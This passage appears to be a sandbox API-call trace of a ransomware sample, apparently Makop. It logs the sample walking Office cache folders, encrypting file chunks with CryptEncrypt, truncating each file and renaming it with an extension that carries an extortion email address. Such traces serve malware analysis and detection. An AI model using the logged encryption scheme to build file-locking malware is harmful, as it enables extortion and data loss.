CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0082.080] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.080] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.081] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.097] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.101] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.101] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.103] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b6bb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.104] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.104] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.104] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.120] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.123] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.123] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.128] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b6bb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.128] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.128] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b2baa0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.128] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.137] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.139] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b2baa0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.139] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.141] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b6bb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.141] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.141] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.142] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9b6bb74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.142] SetEndOfFile (hFile=0x124) returned 1 [0082.153] GetProcessHeap () returned 0x48a0000 [0082.153] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0082.153] GetProcessHeap () returned 0x48a0000 [0082.153] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0082.153] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0082.153] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0082.154] CloseHandle (hObject=0x124) returned 1 [0082.154] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0082.154] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0082.154] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.154] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.155] GetProcessHeap () returned 0x48a0000 [0082.155] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0082.155] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0082.155] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0082.155] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x5, lpOverlapped=0x0) returned 1 [0082.183] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0082.183] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.183] GetProcessHeap () returned 0x48a0000 [0082.183] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0082.183] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0082.183] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.183] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0082.184] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0082.184] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0082.184] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0082.184] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0082.184] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0082.184] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0082.185] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.185] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.185] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x412b, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x412b, lpOverlapped=0x0) returned 1 [0082.186] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x4130, dwBufLen=0x4130 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x4130) returned 1 [0082.186] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.186] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x4130, lpOverlapped=0x0) returned 1 [0082.187] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.187] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x41f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.187] SetEndOfFile (hFile=0x124) returned 1 [0082.194] GetProcessHeap () returned 0x48a0000 [0082.194] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0082.194] GetProcessHeap () returned 0x48a0000 [0082.194] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0082.194] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0082.194] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0082.195] CloseHandle (hObject=0x124) returned 1 [0082.196] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0082.196] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0082.196] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1 [0082.196] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C") returned 62 [0082.196] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*.*") returned 66 [0082.196] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0082.204] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.204] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0082.204] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0082.204] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.204] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=1992192) returned 1 [0082.204] GetProcessHeap () returned 0x48a0000 [0082.205] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0082.205] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0082.205] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.205] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0082.205] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.205] GetProcessHeap () returned 0x48a0000 [0082.205] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0082.205] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0082.205] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.205] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0082.210] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0082.210] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0082.210] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0082.211] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0082.211] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0082.211] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0082.211] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0082.211] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.211] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.219] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.222] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.222] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.224] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.224] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.321] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.321] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.337] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.340] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.340] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.342] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.342] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.343] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0082.343] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0082.350] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0082.353] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.353] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0082.356] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.356] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0082.356] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0082.356] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.356] SetEndOfFile (hFile=0x124) returned 1 [0082.410] GetProcessHeap () returned 0x48a0000 [0082.410] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0082.410] GetProcessHeap () returned 0x48a0000 [0082.410] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0082.410] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0082.410] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all 